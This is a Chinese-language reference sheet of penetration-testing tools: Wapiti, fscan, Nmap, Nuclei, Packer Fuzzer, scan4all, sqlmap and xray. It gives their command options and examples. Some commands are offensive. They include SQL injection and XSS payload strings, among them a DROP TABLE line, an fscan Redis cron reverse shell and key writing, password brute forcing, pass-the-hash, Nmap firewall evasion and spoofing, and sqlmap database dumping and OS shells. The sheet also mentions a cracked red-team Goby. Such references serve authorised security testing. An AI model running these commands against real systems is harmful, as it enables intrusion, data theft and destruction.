漏洞扫描 步骤 Wapiti 一个强大的自动化漏洞扫描工具
一,安装 kali自带 windows 1 2 # 使用Python安装 pip install wapiti3
1 2 3 4 5 6 7 8 # 基础扫描(最常用) wapiti -u http://target.com # 扫描并保存报告 wapiti -u http://target.com -o scan_report # 查看报告(扫描完成后) firefox scan_report/index.html
二,参数说明
参数
说明
示例
-u
目标URL
wapiti -u http://target.com
-o
输出目录
-o ./reports
-f
报告格式
-f html
-m
扫描模块
-m "sql,xss"
-x
排除模块
-x "sql"
-c
配置文件
-c config.json
-p
代理设置
-p http://proxy:8080
-t
超时时间
-t 10
-d
扫描深度
-d 3
三、基础使用教程 3.1 最简单的扫描命令 bash
1 2 3 4 5 6 7 8 # 基础扫描(最常用) wapiti -u http://target.com # 扫描并保存报告 wapiti -u http://target.com -o scan_report # 查看报告(扫描完成后) firefox scan_report/index.html
四、实战扫描步骤 4.1 第一步:快速漏洞扫描 bash
1 2 3 4 5 6 # 完整漏洞扫描(默认所有模块) wapiti -u http://target.com -o target_scan # 扫描完成后查看报告 ls target_scan/ # 会生成index.html、report.html等文件
4.2 第二步:选择性漏洞扫描 bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 只扫描SQL注入和XSS漏洞 wapiti -u http://target.com -m "sql,xss" -o quick_scan # 排除特定漏洞类型 wapiti -u http://target.com -x "sql,backup" -o clean_scan # 常用模块列表 # sql - SQL注入 # xss - 跨站脚本 # backup - 备份文件 # exec - 命令执行 # file - 文件包含 # htaccess - .htaccess配置 # wp - WordPress漏洞
4.3 第三步:设置扫描深度和范围 bash
1 2 3 4 5 6 7 8 # 设置扫描深度(默认1) wapiti -u http://target.com -d 3 -o deep_scan # 设置最大扫描页面数 wapiti -u http://target.com --max-scan-per-module 100 -o limited_scan # 设置最大链接数 wapiti -u http://target.com --max-links 2000 -o links_scan
4.4 第四步:使用代理扫描 bash
1 2 3 4 5 # 使用HTTP代理 wapiti -u http://target.com -p http://127.0.0.1:8080 -o proxy_scan # 使用SOCKS代理 wapiti -u http://target.com -p socks5://127.0.0.1:1080 -o socks_scan
五、高级扫描技巧 5.1 认证扫描(登录扫描) bash
1 2 3 4 5 6 7 8 # 方法1:使用表单认证 wapiti -u http://target.com -a login_data.txt -o auth_scan # login_data.txt内容示例: # {"login": "admin", "password": "admin123", "url": "http://target.com/login"} # 方法2:使用cookies wapiti -u http://target.com --cookie "session=abc123" -o cookie_scan
5.2 自定义payload扫描 bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 使用自定义payload文件 wapiti -u http://target.com --payload /path/to/payloads.json -o custom_scan # payload文件示例格式 { "sql": [ "' OR '1'='1", "'; DROP TABLE users;--" ], "xss": [ "<script>alert(1)</script>", "<img src=x onerror=alert(1)>" ] }
5.3 批量扫描多个目标 bash
1 2 3 4 5 6 7 8 9 # 方法1:使用文本文件 # targets.txt内容: # http://target1.com # http://target2.com wapiti -l targets.txt -o batch_scan # 方法2:扫描子域名 wapiti -u http://target.com --scope folder -o folder_scan
5.4 设置请求头 bash
1 2 3 4 5 6 7 8 9 10 # 自定义User-Agent wapiti -u http://target.com -H "User-Agent: Mozilla/5.0" -o header_scan # 添加多个请求头 wapiti -u http://target.com --headers headers.txt -o multi_header_scan # headers.txt内容: # User-Agent: Mozilla/5.0 # X-Forwarded-For: 127.0.0.1 # Authorization: Bearer token123
六、报告生成与分析 6.1 生成不同格式的报告 bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # HTML报告(默认) wapiti -u http://target.com -f html -o html_report # JSON报告 wapiti -u http://target.com -f json -o json_report # TXT报告 wapiti -u http://target.com -f txt -o txt_report # XML报告 wapiti -u http://target.com -f xml -o xml_report # 同时生成多种格式 wapiti -u http://target.com -f "html,json" -o multi_report
6.2 报告内容解读 text
1 2 3 4 5 6 7 生成的报告包含: 1. 漏洞摘要(按严重程度分类) 2. 漏洞详情(每个漏洞的描述) 3. 受影响的URL和参数 4. 攻击载荷(payload) 5. HTTP请求/响应示例 6. 修复建议
6.3 快速查看扫描结果 bash
1 2 3 4 5 6 7 8 # 查看扫描状态 cat scan_report/.history # 查看发现的漏洞数量 grep -c "vulnerability" scan_report/report.html # 提取高风险漏洞 grep -A5 "High" scan_report/report.html
七、常用扫描模板 7.1 快速安全检测 bash
1 2 # 只检测常见高危漏洞 wapiti -u http://target.com -m "sql,xss,exec,file" -o quick_check
7.2 全面漏洞扫描 bash
1 2 # 使用所有模块(默认) wapiti -u http://target.com -o full_scan
7.3 WordPress网站扫描 bash
1 2 # WordPress专用扫描 wapiti -u http://target.com -m "wp" -o wp_scan
7.4 API接口扫描 bash
1 2 # 针对REST API的扫描 wapiti -u http://target.com/api -m "sql,xss,exec" --scope folder -o api_scan
八、实战示例 示例1:扫描测试网站DVWA bash
1 2 3 4 5 6 7 # 扫描DVWA(需先启动DVWA服务) wapiti -u http://localhost/dvwa -o dvwa_scan # 使用认证扫描DVWA wapiti -u http://localhost/dvwa \ -a '{"login": "admin", "password": "password", "url": "http://localhost/dvwa/login.php"}' \ -o dvwa_auth_scan
示例2:扫描包含登录的Web应用 bash
1 2 3 4 5 6 7 # 步骤1:首先正常扫描 wapiti -u http://target.com -o initial_scan # 步骤2:如果发现登录页面,使用认证扫描 wapiti -u http://target.com \ --cookie "sessionid=abc123def456" \ -o authenticated_scan
示例3:限制扫描范围(避免误操作) bash
1 2 3 4 5 # 只扫描指定目录 wapiti -u http://target.com/admin --scope folder -o admin_scan # 排除某些路径 wapiti -u http://target.com --exclude "logout,delete" -o safe_scan
DudeSuite 一款渗透测试工具集
集成请求重放、漏洞验证、端口扫描、密码爆破、shell管理、fofa、编解码等实用工具
fscan 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
简单用法
1 2 fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/16 (B段扫描)
其他用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -hf ip.txt (以文件导入) fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
Goby 红队破解版,有很多公开的红队POC可以自行集成
Nmap 常用命令 1. nmap -sT 192.168.96.4 //TCP连接扫描,不安全,慢
2. nmap -sS 192.168.96.4 //SYN扫描,使用最频繁,安全,快
3. nmap -Pn 192.168.96.4 //目标机禁用ping,绕过ping扫描
4. nmap -sU 192.168.96.4 //UDP 扫描,慢,可得到有价值的服务器程序
5. nmap -sI 僵尸ip 目标ip //使用僵尸机对目标机发送数据包
6. nmap -sA 192.168.96.4 //检测哪些端口被屏蔽
7. nmap 192.168.96.4 -p <portnumber> //对指定端口扫描
8. nmap 192.168.96.1/24 //对整个网段的主机进行扫描
9. nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml
10. nmap -T1~6 192.168.96.4 //设置扫描速度,一般T4足够。
11. nmap -sV 192.168.96.4 //对端口上的服务程序版本进行扫描
12. nmap -O 192.168.96.4 //对目标主机的操作系统进行扫描
13. nmap -sC <scirptfile> 192.168.96.4 //使用脚本进行扫描,耗时长
14. nmap -A 192.168.96.4 //强力扫描,耗时长
15. nmap -6 ipv6地址 //对ipv6地址的主机进行扫描
16. nmap -f 192.168.96.4 //使用小数据包发送,避免被识别出
17. nmap –mtu <size> 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数
18. nmap -D <假ip> 192.168.96.4 //发送参杂着假ip的数据包检测
19. nmap –source-port <portnumber> //针对防火墙只允许的源端口
20. nmap –data-length: <length> 192.168.96.4 //改变发生数据包的默认的长度,避免被识别出来是nmap发送的。
21. nmap -v 192.168.96.4 //显示冗余信息(扫描细节)
22. nmap -sn 192.168.96.4 //对目标进行ping检测,不进行端口扫描(会发送四种报文确定目标是否存活,)
23. nmap -sP 192.168.96.4 //仅仅对目标进行ping检测。
24. nmap -n/-p 192.168.96.4 //-n表示不进行dns解析,-p表示要
25. nmap –system-dns 192.168.96.4 //扫描指定系统的dns服务器
26. nmap –traceroute 192.168.96.4 //追踪每个路由节点。
27. nmap -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
28. nmap -sP 192.168.96.4 //主机存活性扫描,arp直连方式。
29. nmap -iR [number] //对随机生成number个地址进行扫描。
防火墙/IDS逃逸  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 nmap -f --mtu=16 192.168.0.8 #报文分段,mtu必须是8的倍数 nmap -sI www.0day.com:80 192.168.0.8 #源IP欺骗 nmap --source-port 53 192.168.0.8 #源端口欺骗 #防火墙对服务器的设置会根据端口选择是否信任数据流 #管理员可能会认为这些端口不会有攻击发生,所以可以利用这些端口扫描 nmap --data-length 30 192.168.0.8 #在原来报文基础上,附加随机数据,达到规避防火墙的效果 nmap --spoof-mac 0 192.168.0.8 #指定一个随机的MAC地址
返回说明 端口状态说明 open(开放的)
应用程序正在该端口接收TCP 连接或者UDP报文。
closed(关闭的)
关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。
filtered(被过滤的)
由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。
过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。
unfiltered(未被过滤的)
未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。
只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。
用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。
open|filtered(开放或者被过滤的)
当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。
开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。
因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。
closed|filtered(关闭或者被过滤的)
该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。
端口扫描技术 TCP连接扫描
使用操作系统的网络连接系统调用 connect(),对目标主机发起 TCP 三路握手,待完成后 Nmap 立即中断此次连接。
Nmap 通过获取每个尝试连接的状态信息来判定侦测端口的状态
SYN扫描
Nmap 产生一个 SYN 数据报文,如果侦测端口开放并返回 SYN-ACK 响应报文
Nmap 据此发送 RST 报文给侦测端口结束当前连接,这样做的好处在于缩短了端口扫描时间
UDP扫描
UDP 本身是无连接的协议,Nmap 向目标主机的端口发送 UDP 探测报文
如果端口没有开放,被侦测主机将会发送一个 ICMP 端口不可到达的消息
Nmap 根据这个消息确定端口闭合(closed)或者被过滤 (unfiltered)
通常没有回复意味着端口是开放(open)状态 。
ACK扫描
这种扫描比较特殊,它不能确切知道端口的基本状态,而是主要用来探测防火墙是否存在以及其中设定的过滤规则
FIN扫描
和 SYN 扫描相比,这种方式更为隐蔽,因此能够穿过防火墙的过滤
关闭(closed)端口将会返回合适的 RST 报文,而开放端口将忽略这样的侦测报文
具备类似防火墙不敏感特性的还有 -sN NULL 扫描,-sX X-mas 扫描。
Nuclei Nuclei是一个基于模板的、可配置攻击目标的扫描快速工具,同时还提供了强大的可扩展性和易用性。
常用命令 -c 并发请求数(默认10)nuclei -c 100
-timeout 超时时间(默认为5秒) nuclei -timeout 5 
-proxy-url 输入代理地址 nuclei -proxy-url hxxp://127.0.0.1:8080 
-proxy-socks-url 输入socks代理地址 nuclei -proxy-socks-url socks5://user:pass@Your IP:1080 
-random-agent 使用随机的UA nuclei -random-agent 
-H 自定义请求头 nuclei -H “x-bug-bounty:hacker” 
-update-templates 下载或者升级模板 nuclei -update-templates 
nuclei -t test.yaml –validate 验证模板格式
nuclei -t test.yaml -u http://exam.com 指定模板和目标
nuclei -t test.yaml -l target.txt 批量扫描
nuclei -t test.yaml -u http://exam.com -p socks5://127.0.0.1:7890 指定代理
nuclei -t test.yaml -l target.txt -stats Debug 查看扫描进度
nuclei -t test.yaml -u http://exam.com -debug查看发送数据包和返回包
全部参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 # nuclei -h 用法: nuclei [命令] 命令: 目标: -u, -target string[] 指定扫描的URL/主机 -l, -list string 指定需要扫描的URL/主机文件(一行一个) 模板: -t, -templates string[] 指定需要扫描的模板或者模板的路径 -nt, -new-templates 只扫描最新版本中添加的模板 -w, -workflows string[] 指定扫描中的工作流或者工作流目录 -validate 验证通过的模板 -tl 列出所有可用的模板 过滤: -tags string[] 执行有标记的模板子集 -etags, -exclude-tags string[] 执行标记为排除的模板 -itags, -include-tags string[] 不执行具有攻击性的模板 -et, -exclude-templates string[] 要排除的模板或者模板目录 -it, -include-templates string[] 执行默认或配置中排除的模板 -s, -severity value[] 根据严重程度运行模板,可候选的值有:info,low,medium,high,critical -es, -exclude-severity value[] 根据严重程度排除模板,可候选的值有:info,low,medium,high,critical -a, -author string[] 执行指定作者的模板 输出: -o, -output string 输出发现的问题到文件 -silent 只显示结果 -nc, -no-color 禁用输出内容着色(ANSI转义码) -json 输出为jsonL(ines) -irr, -include-rr 在JSONL中输出对应的请求和相应(仅结果) -nm, -no-meta 不显示匹配的元数据 -nts, -no-timestamp 不在输出中显示时间戳 -rdb, -report-db string 本地的Nuclei结果数据库(始终使用该数据库保存结果) -me, -markdown-export string 以markdown导出结果 -se, -sarif-export string 以SARIF导出结果 配置: -config string 指定Nuclei的配置文件 -rc, -report-config string 指定Nuclei报告模板文件 -H, -header string[] 指定报告中的标题:value格式 -V, -var value 通过var=value指定var值 -r, -resolvers string 指定Nuclei的解析文件 -sr, -system-resolvers 当DNS错误时使用系统DNS -passive 启用被动扫描处理HTTP响应 -ev, env-vars 在模板中使用环境变量 交互: -inserver, -ineractsh-server string 使用interactsh反连检测平台(默认为"https://interact.sh") -itoken, -interactsh-token string 指定反连检测平台的身份凭证 -interactions-cache-size int 指定保存在交互缓存中的请求数(默认:5000) -interactions-eviction int 从缓存中删除请求前等待的时间(默认为60秒) -interactions-poll-duration int 每个轮询前等待时间(默认为5秒) -interactions-cooldown-period int 退出轮询前的等待时间(默认为5秒) -ni, -no-interactsh 禁用反连检测平台,同时排除基于反连检测的模板 限速: -r1, -rate-limit int 每秒最大请求量(默认:150) -rlm, -rate-limit-minute int 每分钟最大请求量 -bs, -bulk-size int 每个模板最大并行检测数(默认:25) -c, -concurrency int 并行执行的最大模板数量(默认:25) 优化: -timeout int 超时时间(默认为5秒) -retries int 重试次数(默认:1) -mhe, -max-host-error int 某主机扫描失败次数,跳过该主机(默认:30) -project 使用项目文件夹避免多次发送同一请求 -project-path string 设置特定的项目文件夹 -spm, -stop-at-first-path 得到一个结果后停止(或许会中断模板和工作流的逻辑) -stream 流模式 - 在不整理输入的情况下详细描述 无界面浏览器: -headless 启用需要无界面浏览器的模板 -page-timeout int 在无界面下超时秒数(默认:20) -sb, -show-brower 在无界面浏览器运行模板时,显示浏览器 -sc, -system-chrome 不使用Nuclei自带的浏览器,使用本地浏览器 调试: -debug 显示所有请求和响应 -debug-req 显示所有请求 -debug-resp 显示所有响应 -proxy, -proxy-url string 使用HTTP代理 -proxy-socks-url string 使用SOCK5代理 -tlog, -trace-log string 写入请求日志到文件 -version 显示版本信息 -v, -verbose 显示详细信息 -vv 显示额外的详细信息 -tv, -templates-version 显示已安装的模板版本 升级: -update 更新Nuclei到最新版本 -ut, -update-templates 更新Nuclei模板到最新版 -ud, -update-directory string 覆盖安装模板 -duc, -disable-update-check 禁用更新 统计: -stats 显示正在扫描的统计信息 -sj, -stats-json 将统计信息以JSONL格式输出到文件 -si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5) -m, -metrics 显示Nuclei端口信息 -mp, -metrics-port int 更改Nuclei默认端口(默认:9092)
Packer Fuzzer 一款针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具
全部参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 -u(--url) 要扫描的网站网址路径,为必填选项,例如:-u https://demo.poc-sir.com; -c(--cookie) 附加cookies内容,可为空,若填写则将全局传入,例如:-c "POC=666;SIR=233"; -d(--head) 附加HTTP头部内容,可为空,若填写则将全局传入,默认为Cache-Control:no-cache,例如:-d "Token:3VHJ32HF0"; -l(--lang) 语言选项,当为空时自动选择系统对应语言选项,若无对应语言包则自动切换至英文界面。可供选择的语言包有:简体中文(zh)、法语(fr)、西班牙语(es)、英语(en)、日语(ja),例如:-l zh; -t(--type) 分为基础版和高级版,当为空时默认使用基础版。高级版将会对所有API进行重新扫描并模糊提取API对应的参数,并进行:SQL注入漏洞、水平越权漏洞、弱口令漏洞、任意文件上传漏洞的检测。可使用adv选项进入高级版,例如:-t adv; -p(--proxy) 全局代理,可为空,若填写则全局使用代理IP,例如:-p https://hack.cool:8080; -j(--js) 附加JS文件,可为空,当您认为还有其他JS文件需要本工具分析时,可使用此选项,例如:-j https://demo.poc-sir.com/js/index.js,https://demo.poc-sir.com/js/vue.js; -b(--base) 指定API中间部分(例如某API为:https://demo.poc-sir.com/v1_api/login 时,则其basedir为:v1_api),可为空,当您认为本工具自动提取的basedir不准确时,可使用此选项,例如:-b v1_api; -r(--report) 指定生成的报告格式,当为空时默认生成HTML和DOC格式的报告。可供选择的报告格式有:html、doc、pdf、txt,例如:-r html,pdf; -e(--ext) 是否开启扩展插件选项,本工具支持用户自我编写插件并存入ext目录(如何编写请参考对应目录下demo.py文件)。默认为关闭状态,当用户使用on命令开启时,本工具将会自动执行对应目录下的插件,例如:-e on; -f(--flag) SSL连接安全选项,当为空时默认关闭状态,在此状态下将会阻止一切不安全的连接。若您希望忽略SSL安全状态,您可使用1命令开启,将会忽略一切证书错误,例如:-f 1; -s(--silent) 静默选项,一旦开启则一切询问YES或NO的操作都将自动设置为YES,并且参数后的内容便是本次扫描报告的名称(自定义报告名),可用于无人值守、批量操作、插件调用等模式,例如:-s Scan_Task_777。 --st(--sendtype) 请求方式选项,目前本选项支持POST和GET参数,一旦开启则将会使用对应的请求方式扫描所有的API,若不开启将会通过HTTP状态码来进行智能请求。 --ct(--contenttype) Content-Type选项,可通过此选项自定义扫描时的HTTP请求头中的Content-Type参数内容,若不开启将会通过HTTP状态码来进行智能请求。 --pd(--postdata) POST内容选项,可通过此选项自定义扫描时的POST请求内容(所有的扫描都将会使用此内容,仅对POST场景有效),若不开启将会通过HTTP状态码来进行智能请求。 --ah(--apihost) Api域名选项,可通过此选项自定义扫描时所有的API请求域名,例如:api部分(从JS中提取到的API路径)为/v1/info,扫描的url(-u --url参数传入内容,扫描的网页)为http://exp.com/,当apihost参数传入https://pocsir.com:777/则此时的API为https://pocsir.com:777/v1/info而不是http://exp.com/v1/info,用于api与前端不同域名或服务器等场景。 --fe(--fileext) Api扩展名选项,可通过此选项对所有API都添加特定的扩展名,以便应对在提取API时出现扩展名提取缺失的情况,例如:当提取到的API为https://pocsir.com:777/v1/info时,传入--fe .json则工具将会自动将API转化成https://pocsir.com:777/v1/info.json进行扫描及检测。
scan4all 集成 vscan、nuclei、ksubdomain、subfinder等,充分自动化、智能化 并对这些集成的项目进行代码级别优化、参数优化,个别模块,如 vscan filefuzz部分进行了重写
常用参数 对 127.0.0.1 进行http常用端口扫描,扫描完端口后对端口地址进行检测
1 scan4all -host 127.0.0.1
直接对端口地址测试
1 scan4all -host http://127.0.0.1:7001
对 192.168.1.1/24 C段进行端口扫描,扫描完端口后对端口地址进行检测
1 scan4all -host 192.168.1.1/24
对 ips.txt 内的 ip/域名/c段/url地址 进行逐行检测(如果有url地址,则不会进行端口扫描)
对 127.0.0.1 的7001,7002端口进行检测
1 scan4all -host 127.0.0.1 -p 7001,7002
对 127.0.0.1 进行 NmapTop1000 端口进行检测 (不使用此参数,默认进行http常用端口扫描)
1 2 scan4all -host 127.0.0.1 -top-Ports 1000 scan4all -host 127.0.0.1 -top-Ports http
使用dnslog
1 scan4all -host 127.0.0.1 -ceyeapi xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -ceyedomain xxxxxx.ceye.io
导出到文件
1 2 scan4all -host 127.0.0.1 -json -o 1.json scan4all -host 127.0.0.1 -csv -o 1.csv
只扫描端口和指纹不检测poc
1 scan4all -host 127.0.0.1 -np
设置扫描线程和速率 
1 scan4all -host 127.0.0.1 -c 25 -rate 1000
设置代理
1 -proxy socks5://127.0.0.1:1080
sqlmap SQL注入检测工具
常用参数 判断注入是否存在
sqlmap.py -u “www.xxx.com/user.jsp?id=1 “
直接加载数据包测试
sqlmap.py -r head.txt –dbs //head.txt 内容为 HTTP 请求
获取数据库
sqlmap.py -u “www.xxx.com/user.jsp?id=1 “ –dbs
查看当前应用程序所用数据库
sqlmap.py -u “www.xxx.com/user.jsp?id=1 “ –current-db
列出指定数据库的所有表
sqlmap.py -u “www.xxx.com/user.jsp?id=1 “ –table -D “数据库”
读取指定表中的字段名称
sqlmap.py -u “www.xxx.com/user.jsp?id=1 “ –columns -T “数据表” -D “数据库”
读取指定字段内容
sqlmap.py -u “www.xxx.com/user.jspid=1 “ –dump -C”字段” -T “数据表” -D “数据库”
执行Shell命令
sqlmap.py -u “URL” –os-cmd=”net user” //执行 net user 命令
sqlmap.py -u “URL” –os-shell //系统交互的shell
POST提交方式
sqlmap.py -u “URL” –data “POST参数”
显示详细的等级
sqlmap.py -u “URL” –dbs -v 1
-v 参数包含以下7个等级。
·0:只显示Python的回溯、错误和关键消息;
·1:显示信息和警告信息;
·2:显示调试信息;
·3:有效载荷注入;
·4:显示HTTP请求;
·5:显示HTTP响应头;
·6:显示HTTP响应页面的内容。
注入等级
sqlmap.py -u “URL” –level 3
将注入语句插入到指定位置(常用于伪静态注入)
sqlmap.py -u “http://www.xxx.com/id/2\\*.html “ –dbs
使用 Sqlmap 插件
sqlmap.py -u “URL” –tamper “space2morehash.py”
TscanPlus 一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。
xray 一款长亭自研的完善的安全评估工具,支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档
使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描
1 xray webscan --basic-crawler http://example.com --html-output vuln.html
使用 HTTP 代理进行被动扫描
1 xray webscan --listen 127.0.0.1:7777 --html-output proxy.html
设置浏览器 http 代理为 http://127.0.0.1:7777,就可以自动分析代理流量并扫描。
只扫描单个 url,不使用爬虫
xray webscan –url http://example.com/?a=b –html-output single-url.html